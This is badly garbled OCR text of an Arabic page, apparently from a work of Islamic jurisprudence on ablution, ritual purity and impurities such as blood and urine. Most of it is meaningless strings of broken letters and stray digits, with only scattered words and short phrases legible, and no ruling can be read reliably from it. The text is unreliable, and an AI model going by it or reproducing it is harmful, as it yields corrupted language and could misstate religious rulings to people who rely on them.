ابي بضلئو تئج كت خروكر واكونة |
ا 5 5 2 ' 00 لة ِ. 7
0 إل ضحي لوم لتى «أمز درم داك
ىآ_
أ
أ
ل
3 1 0 نيا سرك اسل : عض
الحور. 2 3 0١ 57 لوز لاددى +
وا/ياك
١ ا 0 0 7 /
يشان
0
د 1
و 1 و ع سكن أل
3 00
ل م2 0 سس م2
7 ادنك نارم 2 0
ور ىن
يليام دوعص
]ك2 تر ور 177
2 0 ملاع
١ دى كك
ا اا 1 2 00 0 2 لزي
0 اد ى ّ
درس
0 0 سا و و ضاض| لم الست
|الدمة 0
ا 6 0 0 7
اه 20 ا ود س١
وَعبِنورمد والدمو
"١
ا
١ 8_- ل ف
صديدا فيكو سايم عليه يلصو
6م
0 0 ا دجي مر 0
2
ابن 0 71 وض “شور الأن
1 2 22 2
26 0 وه ناما 6 4
ا 2 7 سسا ون سل اه
كركذ
ا 0 0 لوب ارو 0
01و
و
ْ لتر 20 ١ ا
ودين الك وود الو اانا عاض ا
ل الس 7 (سس فا لد يبد ويفا بوجسنانررجا
واموان
1 زه 2 27 0 0 ور زر 7
والواضل ل لوقت بطل وضوءهم وَآرِتٌ
الور دور دس لاتير االردلر 7 ١.
00601 201 له ا ا
1 ص 46 و2 ١
د 5-97 رد إلدسق
7“ ماعن 11
د “بو ايو ا
بدن مسرب لاغ |
اي للد ألم رد قو دوج 50 “رار 1
لم و تكد يب ذلك ومو يس
. 0 تور كالاى لايع و انارو
| م
أ ار ار
يما لور ممه ألم ع الموج مادج برج
- 0 0 0 1 0-2 برعاي #خار
| ةرمل م
أ 0
د رو د 1 ساك
ليكوت صَاحِبَ علذ رمن دساف ذلا و انض
١ | صر وا 9
ا" 0 شرو عدر دقل 0 “دكار
ا 1 و
1 16س اه 7 30 م
يك 0 1 ع
ووم سا
١
ا
جل يدجدد كتج 2
و
3و
1 ع ١
يأ نيكون مأب عدر وذ موا فصي ا
١ يوار 1 5
ل د 0 الات
|
رو عد سج ود ل ا ع ره سي 4
اش
20
و
لضادم حسة وو 0 و 7 وح
2270
211 يعض وصو »لان درف
0 2 2 355 دين
ارد ري الى 0 2 ار لاسن “ا رجور
7 ررس فاصم ١ تر 0 7 02
000
2 0 و 7
يدور منه
ا 20
53-8 00 0
0 7 0 ع 5
و
وذ لكام اينيد واذا كم دم
أ اه بويك يسام ريس باد
ة
ااماا ل تايا 0 تيحيث 7
| < مإ مد در مواد #شدزر 3
آ# سه
ع 3 2 ا را ات اعد
اوقتا ولأ يج منان؟ 10
| “دوو سآن يمور اح “اد صلم لي “دادم ا
أ
ا 7 روا حك ع |
ع ب 2 0 عسس 6 |
| اشرق تمن انهنه :دو لم جعض
8 ار دس ا
ل رن وى 0 0
1 زر و “در 4 ل تجرد قضين
سسا 7 سس ا كرا سس يرث لوسَه
ر
تاس 2092 000 ا ّ
كت - 30 ا ا
2 0 ا م 0 |
وان مها لاد 0 دم
ا َ
ا 1-0 00 : ا و كم
ا 00 0 ار ١
!| كان كيرا تمص كان تان ّصغيرا سعغص .
_
0 ل 2
ا
7
3
00 ب
ركه
2001 و
تعمرٌوا نمؤا َل
دَق
راك
3 :
7 ابو د 0 ب لسرن كد
0 و البو “ا
52
0
0
0 01 ون داح ساوج
7 7
لاي
ار 2 0 »> 8
له 20
وم
5 5 ف ار
-- ِ
90 3
ددر مه 6 ورم
00 0 س
> 5 و 01
0 0 2 35 7 0 سرجا
3 00 10 ورا 6
3 27 1 0 سأ واو عب ساد '
ْ لمان 0 ا
0 3 ١ن 4 ا
ورور م 00 د راد يي
ا 5 دسح 06 5 272 أ
0 كت 1و
درم
رةه فح اا
ساك نعود يا وك لاإستض
ا 0 06 0 ا
١ 0 مط
0
اوقى
رم 21 ا
0
0 ُ 0007 ٠.
0 جرس وك 0 ا
الكو ا ل ا
اط رار 0 2 010 عو
ا 3 ب 006 50
لس سلاسيم ف ا
21د يا (دح1مِني 12 16
ا 0 : 5 5 رن الاقلرى
-ه 7ك يي 0 ب
0 بوكر
الي 0 َي دمن د
حي رب 0 2 1-0 ١
ا قر -- 3 تيبا
2
3 2-7
ال 2 11
صَلديَه ل 0 وآ
كان
رةه
ار
20 9
داأومهرة
0
كارن 0
لاود ل وصوء ه
ذل
0 0
“إن رو 0 الاو
ومررط .14 مزه وَمَالذا
و رار ؤزسلار | ل دام ١
وضوء ود ديا لاصيل
0
سلدت
1
(لدسئ “سو جكب 6 لطر لل
ع صل في يي
0 اام حرس حت ساضا 1
اصَلدنُة ووه ددن ا
ل الجكنار 0 0 ضري ا
فحلٌ
1 رس سيو وه مر
ع ا لمي هر فل د 9 هيم يملعا سكا
"كر شع ل اوددر
فبوو نا
ا
2 دور ار الرسرة
36 8 نوو قال جضهرواة ذايدت
ا 00 00 اج
ا روسدر داو 2 ع جام تر وم قصل
0 تعن لو وهال مضي ا ١
د ار روا 0 مر 0
م
2 0
سم ور رس د جر 7
( صورنه وبحرا مره ليكو مسو ا
يي 0 ا ا 0
03نب اميا ومنو
6-7
يي قزرو 0 و 006 2
لك لك 0
ا ود سوبوزروء
ع 0
َل 0 0 ل
ا لاجد
1 “0
0000
ِ 3 مره “6 اعطلم
ظ 3 َدنايِضَه اد . 9
باحس م
0 : 1 ددر
ف 20
ل و 2 5
: 7 0 وَاك حك ]نو عا
1ك 1 1 8 ' 2 |
ا 000 ا
واي 0 0
2
0 سه كا لاد
بع م 00 وسو ند
ا
لاجد بوزر
لاسي 1 0
5 “ضر
فور
د تي
0 ا
0 1 ل فاده جدما نو
0 4
ار مإ ا مر
و 2
تر
ره-ه
2# سرس ره
ا
سس سه
ْ يفن
عليه ومن
1 سور
3 وود مم 0 0 :
م : دسو هي اج
اتلاريرن 7
2
ل 0
فلا وضوء 5
5
: م ل 0 0 ني 0 3
0 غٍُ كا ١ د 4
َ وار 2 2 0 0
وق
0 دن
راي ددرا
كو 3
200 لكر او م
06 “ناد 0
2 5 ره 0-7 م
0
شْ 9 1 1 00
3 4 02 0 7 0 2
0
0
0 1 ار
3
0
ست 5200 اك
حَميَة مَل اليه ةلفومة
الى 0 ولدروجرا رك صَلَملقِديِيٍ
6 دن سس ء 8 7 ا 3 9
»دوع
00 6 0
0 ك 2 0 َم ا
3 0 3 وه مي
17 يي ١
3 00 ا زر اناد
2 رزوي لدي ادر 0
0 ا اا 0 ْ
22 8 2 1000 1 0 ا
ليد 0 0 ا جلي نوري
ا م
م ا
2 و أشي له مه لاجد
ا ادع ا 0 الاي
ا 2 3 0
هس سس 1
لالد ع ركه إيس لاد
مر 9
مه تر 2 ا
وَعَلِوٍعامَة الما د ار بط 0 د
ٍ 9 ا 0 .
1 0 ا
المي : و لكا
35
6 0 در دي كرا ١
0 0
10 535
سس 2 سرس وه 7 0
6
51
جسء ا سر 2
م وس م اتام ضف م
يلاد 0
عد ال ا
: ا الي ول 0 ْ
ا ل 00
١
و
ساس عليظة امك 0-2 روزا ود 3
والْعصغور وحوعا و ولووكم اما ء اميل ود ا
اماد اوت اناا
2
0 ات نا الوك ماتيا
اث
د ا سك د مد
كع
عراس عت سرد | 2 0 رهد و
وفال ده م طاهروأمًا بول 0 سد
ادر سد 0
م 0 و ثري ابره
سلف سرس سن قمر صر سا و يزيت زمرو
ووو لسار |
زر 3 ا ريه
3
0 مور ىا سرون
شرح
كالسا للدم لواو كالجدامة
االو طن َه وي لس 1 ياك دوين ا
ار
| 0 1
0 "منج ١ ا د جاتو 0
0 ار م فق 3
م بره 3
م يموما ليأوك |
0
فار رء
البلا نذابو لاد وله
اد “ان مر د نه ات
روب
دم وكا موا اليد وس
. 0 ا كن دق
2 ا
0 00 5
0 37 3 6
7 0
م سم 1 ا 2
عدا
0
3 ا 1 سر 2 داس سر مالا 220 5
وع كط
0 9 م ا ا 5
ومست كاماد يحوت سمل ابر
ا و م
ل
56
العامة ل ناليع | اع
يك .2 8 0 0 3
15 وي لوى “لل عالق امن
ود
200 2 ل
ويد 0 0
ا
00
مر و سس س8 0 00000
وكا اهاب دنم فول اريت | 5
0 ا ا دب
0
ا
و َالو نه لكر :روا 2 دي وؤشرح
0 0 ا
0 الدج ع
سم : و 3 0
يا بوداي إلشَيَية فهو 7
0 ”لان 2-0-8 4 ا
_ ا دس 4 ا ال ل الات
ا موقي لي 0
1 2-0
200 عه 1
5 ا مر د
58 ع بروجوام بخص ا ديت
ْ 0 في د أ 4 يري
|
|
00 سس و ووو و سدس ررمت
١ ظ 4 5 م جا سوك ليرا
ا 1 ا دَبرِى عي لاج
| ار 0 لخن السو
الايد اين اا
6د وض
الور دون |
م
ا 0
ست وي
آ ةبيه ماكو سورةجج بالأطير|
لمر ”رياد الي #دريى لايور
جب ماو عاد ولو 2
5 بطر
ْ #2 1 5
كسبر
ا اعس عو سس انان ا 200
١
ع ال ف اع حر 7 سم وس 0 7
الجا و 00 1008
ا ا 0
مشر ب 0 و د
سي اوم و ال ا وا 2 0 ا
وشعرصاوصوه فيا وظزهاطا 2 ذالم ا لي
و ايه لاشرى يل 0 4
سومة نا ِإْدالْفِؤْملهرِاِاءَة معظمة /
تاخز ل «دفى مار قور اين 0
6 دارو 2 2س اسح برلد| سا ده 0
ماهو رسع اعد حو ود يعن محمد
يقر لحم ا “عونا
3 0 1
ب اي
اط >5 سا 2 6 ع رد قد م سام وس
2 عه صلت ف 000 سد
در 31 2 فو ري راد :
م ا 0 0 0
2
5 َ و 6 1
ر عوك جاه صَلامأو دكا 5 م ا
0 55
2
حار 5 ا كارا 0
لامي
[الا كك دشييراً 2 ديج مندا ا
ايو 0 0 6 اه ٌ
مر 0 شعزر
0 26 20
م مذنوعء يود
1 , 0 1 ير اند ادو )
رع 6 رو لبان
لصا ع هاا 4 ره عر د ا
محهاماً لرده جسؤوان م
0 0 اقيق لزي د
آ# له 2 0 0 2 0 0
ظ ات
يك
ا وي اهن |
ل د 2 00 ا
اه 2 : ا
تون
5 0 1
ري يدانا لوص دار
ا 0 6_- ار و 344
ولواب بهل جَدادبَاعْ وبل بود ل
مس م ١ 2 ١
ان 17 038 0 ا
11 210 اي ورم 612272 بسنا
سا دان > دان دده 2 اعسات
00 دنا در 0 1
وار ارسي “جقارمورى دهن
اماما 00 البإ في 8
2
2
ساو و ال 2
ان سي
7
7
م ال 0
00 3
0 و ار 0 1 1
1ن 0 ذا
م ددوم
د | 1
سر ص ثرو د سحت سد ال
ايان دوا جود يوووا ير لاسو
يي «دويى ”ددر تللق “تين #دكز
در 6
اد ات در رو 56 1 و 7
وَكذا بدا ابه مق سرك وا
ددري وده 3 أد مدر ترج ززم ا 7 0 ا
1 0 2
ل
0 رست زا د 17 2
َ 1 وعايم عاد وفشاوك اضيا
5 0 0 اي را خاناه
ود 0 ا 0
اه ا
مد ا روي 06
أن 0
“دور واد
عو حت سر د 112
91
2 فمَاصَآَاد 0 8
0 0 2 0 ا
د لدو تدر : 1 ري 10
نودي
سسسة 2 وسور )|
أواذا وفعت يا فادة تنود كوا باح ْ
9
4 0 ور
0
0 ركو دنم 7 ٍّ
ع ا ع ا
|[ مي ا ا ترس عل
ام مهاس" أوسسنور يئر" ها أرجوند و
0 ري ا ار ضر 0
ا ا 1 ب 200
حم وما بها سَاء أوكلب
0 و له 0 و
1 م يد
0
دا اجيج حي ويد أنه كه ار كان
ا ان
0 <دى لج 7 يده ادس
00 8 تم 0
ا 0 2 وكوماا
8 0 7 52 ا د ١ ١
و5 د 00 ين 7 3
8 1 0 در
0 ًٍ نح مكاضهأونا
18
ا الموج
1
رسو
ا
و 6 م لهس
نآ
يردن جك فا يداه مه
0
052 2«
م وس از ع ماه ا سس سد م
أ
ب يددون ابام وضت ا ومسي أءاناصاكة يو رم
سر 3-8 ن/ 0 0 1 ل ِ
وعرهس ا م 1 507 31 ا
واد ا عساو كل نوم" 310
022 ةا 5 2 3
“اش
م 1 سس 100 د 6 ّ
١ 1 0 0 ع 5
شي الدرسر
0 2 جب م ا 0 0 12
2 0 شيو 5
دست ا عار اي سي سا د د 4 سح ووس قر مسر مس
كا دير دوا
ا | تين ان 000 و 10 أ
دس مه م مارم 100
1 1 جنر وساي للافدرر واي
عاان
بسي يي سد
زه مره رطس 0 20 0 مس
وَآن يجت بدا لنَمْت سجس و ع
37 3 الى سانل ءار . |
39 يي و ”5 “اوور ذه
ودرا
ون 2
2 '
000 وو ازور ا
0 سم
8070 وَوَعسوَا لوأ
يار 558 #س لها
اسه ١ لاست جرع الاسام ب 2 ساف سس عصوسا
وان لواو ْ
خإن ا تين م 4 ا 0 ١
1 0 21-2 ساس 22-7
0 وات
0 أشي “الو لانن عرزلاو
2 0000 0ه
اسه قينا ١ ا مالك |
ل
200 20
واكواك يبا ليه
0 لوي لازي لو لون “من
ارو
0 حر اما
الا روات لقنا + |
لردر؟
0 100 تش نري لاير ردج
ا ل ال عر 20 2 ودرسة ,
مزل 0 ل
خزرب لك و اموا لد
| لس ل امون
ار ري ا م لس ف رست 0
رك 17
0
أ
الصرودة و وى كناك موس رود وق
“ورد كياد
001 0 ْ
1 ص 7-6 مرا
ا ك2 0 هادي سا ع اسه 0
سس لور وا سود ير وي
زر
ل ا ل 0117 0 سف
رق ا تن د
رجور و و ا
7 ره روا
121111111 8 لها
ِ 0 0
وانف 1 0
' لدو ذى
ا
5 م 5
2 ص ١ 4 2 2
00 2 ا: لال 2 0
أ ع6
#آه سه سر 27
6 ده وق فحصم مدو
رك عيدج" عِرْدَ 0
ل
الله
5 ا ا ١
7 سفوا يوسا ند سباع لطر 4 ان
00
سر وار 22
0 0 بلكل
د
0 3 ا وذ 1١ د
ْ در 7 0 ارو
در 7 الوص لسر بوي
م 01 و ا
ا نار 2 ييا ا
ا يعسلا ءَ د
3 سوروت ومس از زاتمي سناد
حص ل ا ص 3ب
ا ححصحج
و2 و ص يرس سد 711
خرءاارجاجة ل اك
لاس 0 ا رشبو عدر 0 ان
مر 00 0 0
ا 00 0
ليرفا 3 ارحس ه عرد كع
6 موز لابق لجرل امي
ا 3 ا
ا ا وا 2و 2 ررس
وان ا م وحم بيرح ء تر
5-8
0 دن 006 ار ايف 0
2 و1 اسصاء سك سس مه
ِديادحِرَ وجب عد 0
اناده فدح ار در 2 او دري
ع 0 2 ل
/ لجس 1
5-0 ا 0 د 2
و
0 1 هه
0 دون 0 و 1
0 ع
لاجس ولد
دوو 00
0
م
اال عه
3 ا
0
0
70
م "وقالابودوسى
0 “3 اوضق
ضَْ ل د 0 وه و
ا ْ
5 0 ا ا
مسن 5 00
اطاط ١ مالا رت 1د كد رار
ب
بد بدأو نوي جا
ا
و يرجؤب دم يوي دووسسه
اول صبومةاد او لو راكومضمشه
.| واستتثاةائلرعاضصرد»
مداد؟ كزد يله 'مرداردرا
0 والستدماة مركن ١
صكره شو يود وظداكا
ام صومردان
ا ولوركندى
الل
0
أ 3 ل ع در 2-7 زر 0 م |
ا لمعه و 5 كماد
ًِ
01 ا 7 0 ا ا بجوى”. سان
. 2 00 د دس ]|
وا وق 0 و
مجن دنين ور 2 ى ١ (تاضرى 3
1 5206 07 ال اليا 1 سدمدة
الى ص ددا سسا بي تملك ىا
0 5 كن ار مجن بجو اص غود الريوان
ْ “ديز ا
ا ل سس سل رة سه 2
١ ل 0 ومن صنسبا ا
أ سك 0 5 2
ا 0 ل 0 م ان 5
ام الو ِ كار
0 ارو دي مار 0 00
سميج [ابيكن مي 5200 525
و ا 1
سات الى مسساط دارو كلاد 20 ددم زه
عرلا
7 5
لون
- اباو 8
2 2
1
10
0 1
ور 5
يعددر
مزالماء 1 ْ
3
ب
ا
5
"0
1-0
ا
و
ييح 1 1 0 ا
|مناعوّالاء وعرطيدةف ْ تادرو
6 ءئ ا 8
ل
ا 0 ل اريك" م ا
5 0 0 م 0 ١
و ص ك2
يي 2ن
م امن 2
يا اس
ظ 8 اننا دلوا 2 جوز ررأ
20
1د
5 قوق
5
د ا
ا 22 3
2د رع ا ارج
00 0
فوع ال 2 0 ووه
وفع القامة لد
0
١ 0 2
د نانء
0 ره من م
عاد 0 2
امار ككا موب سسشر فا 95016
ا ات 5 00 صو
“ره : لحر نا نه
| مب و 1 وي انا و
كر م ا ال 1 را
بوه ل ايساو
صدري 0 ادن لالضلا
حيرلا كنا ترك قل برسم يلا علا مد
0 0 ل
كنا ني ١ السك كرون
دي 5 ار د و 0 “عزاو
#ج كرالا دير
2 رس
كك 0 اياي وشجه
كدي - اس طب عتر ب
كذ مهام 2
و ا َ
2 عار وو 7
امالحيةا لب إذاماسر الاك عد هه
ان الى دجي 0 نيو “داري #لادر
جر سه ور م بو وت جر 2
ارت 56 7 الك ياتا
او مو مث الى .بوطرال
0
2
2 0 بتكا هد
ا 00 سر 0
اياك مسي 0 ا
27 8 0 سوا مريب
كدر 200 2 2 دو أت
يقد روايات ؤروا تكسو ودفا ب ٍ
0-0 مد 6-0 واي ا ا
لود ا ا
0 ادر او “من ع ار
أ-
دغ حسسة ا 0 0
وما
وبر وسبًا الى تريس 0 وسور
كلدو المشيويا
4
لان
0200 ئ
0
و١
2 5 7
8 غذى بان 2
َ ع ل
ادا قوق 10 ا
2 ْ 5 زر ف
1 00 7
ل ا 1
ر
ا 2 52
5 قا
00
عا
م1 :. ؤ
وك وه وسويا
سه 1
سو سرس مره
ده
نمكت ساعرفسككيا
١ دان
ِ 8
د
و 0
9 0
ضير
او
ار ص
نا
/ 0 كم ا
1 0 1
7
ب
دوع وما
ظ 0
ما ع
كوي
00
0
2 جعحم 5
0
4 ونير
ع مز : ببس سد دوو 50 ب 9 وه و
دور يوك 0 يجسالاانته
2 ىج “قدي يق م 00 0
0
اعد د 0
0 ألصروية نابا
شن بى شرو 0-0 طوس ددن الادى در
20 # و سي وس ره
رتور 3 وعن رانم ا ٍ ا
0 ردي جىي مده اي ننه 7 ع
00
و ا 0 2 0 ١
00
95 لامر 0 76 ل
3
هه
اك
١١
3
حرط
5
ع
اها
2
1
2
2
5
0
هك
1
كك
ل
اسه سس( وسسش سسر راس ل ل 0
ودوك ص دوست قال دَلشتروا يدا
ل ند ره ع ةلمج حجر دما
سبك
0 2 زيف 2 7 عه
3 0 لاخ طهادم وَانكصابمز11-
بمنع مادا عاد
اي بخان 0 ص 9
١ 0 ددن 0
0
0 2
يس ارات نر تي و
1 يس فوا أده ععو
3 اط لررضدن 7
ا 5 و
00
<7
دروا ار
و 0
بد نأ وعند وروا شاك
0 0 1 0 د
ّ 00
واد
ان جنر ديكات َأ فد -
2
00 جد م
2070 0
عرصاصر 3 7س جب 0277 6 ات ارط ف 0 ورم 0
أو الود ولمصيلها مهاد ب
0 5 د 4 2 ا
0 0_0
م سك اضيا ومن مَدْرِالررسمٍ
و دك ل لي 00 1 ا ا
سس 00 عاو 1 0006
منعتجواد 0 الام جماع ودوئ صن اه رمه ا
1 _ ا ا
آذك رار 0 مم 1
نخس بير ون وطارة صا
م 0 ٍٍّ 59 5 و رو 0 ا
لاز 0 1
: اليد 0 0-1 5
0 7 ا
يي وليك 02 ا
ا 38 نم سددى
م
د 0 0 م
واذ أصابم دعن جسن فلم قديا دَدصه م
ا “م اه واو لوو لذو
ار 0 ل
4 00 ير لو
قا لدو روت سا
وقالى بعصم
دي ضر
0 0 جر
1 بلا ور 1و )1 صا ا
دوا ١ 8 دهن لجس فشر
دمر اج د زه دوم 0
0 م
7 2< 7 0 20
أشي 1 روا تابيتك
0 وان 9 0 جر ذه اين -35
انه الس ست
كيم ار
جرال ا
لور +0 ناض انايج تازلان
ا
لسلستم مسي بيهم
ِ اث 036
ا و
0
ذل عدر
2
1م ل 6 وسوس سث و را 0
أالنم لصخ امي إرثه و عفوفد”
0 : حج د 0 “شد
0
ب 1 0 0 لا
منة ألاء الجن ع ردير
0 7 الذي بمو م ين
*لدن
واه وم ره ور
8 ل لواطا ات ةك
ود ارب مورهلانساح ” 0
في 0
ره مو اس سه سس برشل 0 مم |
00 ليله ثم 20 3-0 00
لان لورلا 6 7 ١
0 مكنا
5 ا دسق 95 ١ ا 3 لور 6
ند
0 ع ا ل
اح 0 ”دده
2
رع له لله 12100110 رو
ٍ ل وذ الوب يوي صر '
ل م "درج الى ور ادك لاود
0
سس رسسي قر 00
312 سير
0
عوجي موه
ور لمكم يرادا يسا سد
ا ادن ار ار ذدو بان ل *ويز در ار و ١
مَلوةان م َو جك نافيا
ارق 4 رو 0 در 26 لان “دسو
د 1 7 0
نوان اللا لير[ شرجسده
ا
سكل
كاذ سق رِجِليِ ووصنوعط و وَانمَتى
0 د
0 ا مر “دو 000 دج “ل لدو
أ سرس 2 سه س7
د ِحْسَةٍ سا رمم 011 جه واسود ْ
عدر سس ب لزي وركذا
رجه
سر س7 سار 7 ' 0
يبدا لاضٍ الكل يمسر مودصم م
مر “دو لام 5 عي الى لالط در
ا ا
0 9 0 سه سار 5
000 0 جل دار ا
١ رو 4 ام 50 3 م 0
ا ا 00 0
م ا سر سنا
و الزخيرةٌ دجل 1 3 جمع|
مر انيد وي 2
مُصمَؤجأد امعان ا اساكا
جك “لوزي ديق شجيى, . تجن 06د
ا ل د د !
الاين شرم الى ات 0
فكت ؤج مو بويا شي دوو يبه
لد حدم رجت رودم بوصو سو 9
1 3 ال#برسات 7
ون عرف
ا
لن ١ وات و 2
اريك لين
لي
ّ
11
ا 0
لح تيلو الوضرا
انزو
07 1 ع س2 0
دكي مالي ييه وه لهات
ا 0 م ادك ا
ا 2
| مه ا 1
د ساو عر وو 1 2277 0
الزن لد كان ب مزه لقم هوضاجار وضوده ٍ
0 كلمأ
٠ ا ل 0 , د م
لج ل |
0 اسار 2 ا
ل 0 ل 50
ا 7 داثذلار و كتكبيرى كك 52 3
را 1 0 ل ل
ور مدب 3 5 اه
3
0 00
د
رالا
55
حر في ال 00 0-07
. اشح مأ ذلآوصوء علىو |
ن 00 “نون. 0 زرا
١
يي فلن عه ان
وف العم موه
و موك
ميك يزيا
1
دوج
الى
0 27 م رد
, 2 ا 20 2
70 5000
ومس مز ص مك ور
1-0
ا لود هو دك
ب 0 1
سس هو ارين 2 ا
ظ و2 ا 9 شين |
[ 7 0
ا : ١ 22 لك ان 2 ذعز.
ظ عل و2 و
أنجمائن
| أ نجا:
اح ئه : ل
53و
رك
3 و ١
1
ملاس
م
َو 00000
خثر ودوكان فامعم
عن ١ 3 و
ديك 0 0 ا
رو قي 3 اللو و
١ 0
| هع .رن اس ل رارسا مسار رات :
َمْيَداعيَارا ترج فا جزم رج جميع| لو
زه اك 1 ا م
20
١
2 85 ني
ف ْ ان ا ل فوا
د وي ون و 501 يًِ ل انو لاو عل
يي 0
ا 07 ربنع 0 2
0 584 0 هن ور ص رق و ب و
0 3 ماقملل كدوايددسجع|
بجخمم اد 0 5 وار 8 ا
0 رار ال
| التو رج ضاف اه ف هه ا لي م 1
ْ يق . ا
0 1 0 0 ٍ كن دا
0 4 1 ا ا ا م
0 1
/ 0 20 بي لمث 0 ا
02 0 ا ا سدع ود
ا 22 سه
١ 2 ماين يبعلا لصلى أن َل ل اس رن ا
2 / 5 1 ْ
ا ا ار 4 0
81 مره سد ا ود 0 0 8
ال بدن وا لمان از صك ويه كك يجوز وهايلا ا
ا 0 ات 2207
0
7 (
2 اس
5 0 يانه با
اللي
رن
١ 0
مي
0
ظ -
كالمل
1 0 اي
50 نا 0
َع
ا
و 2
0
ماجير أ
الور
“كر لوي
0 0
ا ا
إلشّأة أ
م د
ا 2 ل
ا مضه
١ 16
0 ل
دزي ندر
0 2
22
01 0 0
,ِ سل
1 ا
ته
0 ا
70
ار 2
ودوىك”
ل
221116
مل 0 9
0 بشن 1 6 0
2
0 مه ا
هآ كد 0 حدما
7 . عرد دوس داريا
و اا 0 رو يان |
لون عدي عد ع له رد ا
دوست ََإوَامسَاإمان المَلٍ |
ل وا “درجي نام وى ون أ
د 0 0
ْ 2 ل ع صرد 1 ا
سبرب سروح يت
لك 1 ل ا اد ا
اجر ١
ظ ليا 0 ركابولر والجمر
و اوور كدت سي |
8 ادر عن لكي لان 3 ار 0
مس ره 6
سن سلما مان 0 00
حدس و 5 ررم در 5 9
ا م 0 3 5
1-6 0_6 هك ار م
يئ افصلا ا 1واسنو يا نيان ومسل
0 تونب يلك دوىاقرن ٠ تلق شوم 1
ناما خلاقاةالاقيقة,
0 رمثي ياو ا
اقل رصي كيدا
0 ان 0 درو مر,* دارو
ا وى
ا
ا
عِنذامِحنيّة وكذادوعي لَص وأ جعص
| ها “لش ا ار ف “لجحزون
4 ام 04 1( جره ورد
عست متؤة 5 ا 00
د , 3
2 0 بي 0 دنا
0 30 1
سرس سال وا عرص و 0
وكا َداكهَا لَك ولو الموَامَالدَك
0 2 حدايًا قا
م 5 0 نو 2 ود :
للك كربا شاكزفور وح
وري عا واوددد
كه تبويييد
2 6 ا
اد اخيزاي سات" 7 لمم بست
م ا 0
2 ار الى سه
ا
اه 0
مالك سكن اال لك 1
و دو ١ 0 0 “دودر
واذ دنع دوسا 7
506 ا سد ثدر مز لاذه 1328 لوز( كدر |
كنا اكوب بلدا 0
3 5 ا الوا 2
ا 0 مس وأ
اموب ليوا كان شوب وام هوا
ار ديك او رو يي
0 مي
7 كاب م
2 3 8 ا
2
1
0
ل 0077
مير ب ديق وما ادا ضارا كت
اليو ين ري 97 ى قدي كا حجان الاق
سس ال افا مده و سه يك م” 1 1ه رارسا
0 0 5 ياست مل ار :
:. 4 تور “و ١
0 0_0 ا
ا وعد 1
5 7 : 3
ا الي طن 02 د در
ا
ا ل ل
ها ٍ
2 6
20
ةزر 0 0
وضل لاطي رمام جني ناث مزيه ونيعو
“دور <ترى ا 0 1 1 مسوم
0 م
تسوج 0 بي 0 م
ل د
كروما ]لول وعوّع امس متها
3
م
2 71 5 “ا 7 ا عدت 0
0 21 ذالم دَفِظِمَاما
لو |
مَصَتَ ل 0
0 نا |
ا
0
0
كه اه يكم |
لكي دروك لبر لني ماي م 0
2 0
0
بهار لإا نَم سه ع
0 اا ابو 1 1 لق 0 1
ا 10 هس 0 5206 0 0 0
نام ا لَء يكفيِه فو ال لك
م 7 0 6 1 مع بام هر ور
ا
تقاض نهر 6 صاب
0
ره و 27 ا أده
ْ 2-6
2 7
| عدار لم 0 ل ررم 0
لدبو ١ 3 2 اد
320 0 كيل ودر د 0 سو در ا
هه
ره
ل م د
مه 0
0
بعص و عن محمد |
م كل 0 0
0 .سبوا امور
ا
اا 0
[ 2 مه 0 ا هه
ا - 6 ور 34 7 :
ا 5 ير 0 2 7 عن ل
0 اج ا 2
ا 0
5 اماه
0 ,0 0 00 يلون حاتجا الشجسة0
كن
١ 0
2 ( وس جات لوا
| 0 1 وطامنة وَدْكناوف
ٍ فور 2 6 ا
0
6
١ 0 :
أن لض دلويو ل كسا
4
1 > و 0 2 2 ب
احسرودما2: شاك ارك جما
ا جر و 5 و 0 ترز إثر
ا 0 رسيي عر لكا س|
الي ا و
2 27 ده بعد يم 0 ا م
ا فمدطهراتئ وروئصن! فالْعَاسِإلصّعَارِ د ضٍِ
أي دور 22 دون و 3 رروعادى 2
ار
١
نّ 0اسرم
0
لي 2
5 ع وى ماء ا لاستتاء َس جد ولد
١ 0 ل 7 او
0 الى حت انج وسار ور ان ا
7
ره 0 مرو 0
يورق لد أ يصيل مع ذط نيا
“رض 0-0 م 2 0 0
ؤ
000 سه روت 1 و"
خف 5 بطب رموض
“راج «جرانم 5 م 5 ب
اك 7 ياست اه وس اع صو سس لاا
اتكا همه َقَ أ واصاتَ 2 0 ا ا
لط فل رض د ل
حي كرد ابيز انا بطري 0
١ ع عرو قن لاسو
”0 ار 56 دم 0 5
س١ كشو ا
000 2 دع م
4 عا و ١ 1 ا
جار دك فيووما وللْمحورجهألا: عليه |
0
ا
امود و و ني سي سس مل 95
عرو لمعه كلاصتالماء لدَاَلَيده لت :
| هنك بون حبرم دوم #ير_جا. سد “ف 6
0 اميه 0 سا 5
0 4 : يم 1 -
38 و 0 خوك دمن بردي
الاين تصير 8 0 0 ير 3 4 0 ا ا
لتر دور 0
0
0 دض يم
ا ار ١ 0 ا
ليود 9 نسل دل ويجم صرمر
تبرق ار 7 0 0
4 00 0 جز
امورو وس
0000 8 انلا اأصَابتٍ
-
8
لوج ميحر 2 ا 0 فأ شد
0 7 0
المزوئ اوا لاجر
ام ب 0 0
0 ورد و ١ ١و اين ا
6 ل 29 دار 0 7 00 ون
عو ا متم
١و 2 2 ا
در م
96 رد 2
أ 1 دا ةديس 0” ارا ا
عراب وجعف زم ا اسل ا
ْ 3
0 ييا 0
ا 0 و 0007
9 00
0
0 00 سمه م
ا وان وجد احمد 52 ا رود
سي 0
حرم
عازكىبا 0
وسكا سي
00 0
'اولامشدد
7 سبد وَآلْيَكين |
1 [
ءاسا
الور زر جاو
مو ار 4 . ْ
ادرو اجر
كر
ور 0 0 5
اوا. ا م |
: : 5
ناس 000 3
ا 5
تو ْ
ٍِ 2 6 در
ا م
دج 0
رعو 0 2 7 ا
ا 00 . و
ددم ١ 0 العام ار
يو تمه
3 5
دلي ٍْ ِ 206
7 2 َم ا
ْ ب 2 0
دا 1 2 : 0 م
1 2 1
20 سق اوكا ٍِ
ا ا بن يدم 4 و اذى اس
ار لو 00 ص9
ؤ يما 7 3 2
دور مداق 8 ادس م1 00
أله سس م ا
نهدا لمم ال
لد :2 2
لان رع 97 0 ا
000" 0
-
0
0 2 5 وى ددهي ١
0
02 ا 0 وده سح 2
أ 1 الن أت وذ |
6 فزن ذديا ودام ” 0
و
0
2206 له وو ل 1
ان اي لد 0 ار
_ ا جد ررا
ا
كِالضتاوىا الادضاذ سين افالجاسه
يت بيب ا يه
و كال 200 مهد
0 0 2 5 حا عن
ا يز يا
سدسم سيد مم 50000 20 04
تست جم ودعبا 0
0 0 كن 2 در أشي يلاد د
اميك ليوب مايا
: لد ادرو 0
2ن"
ال
0
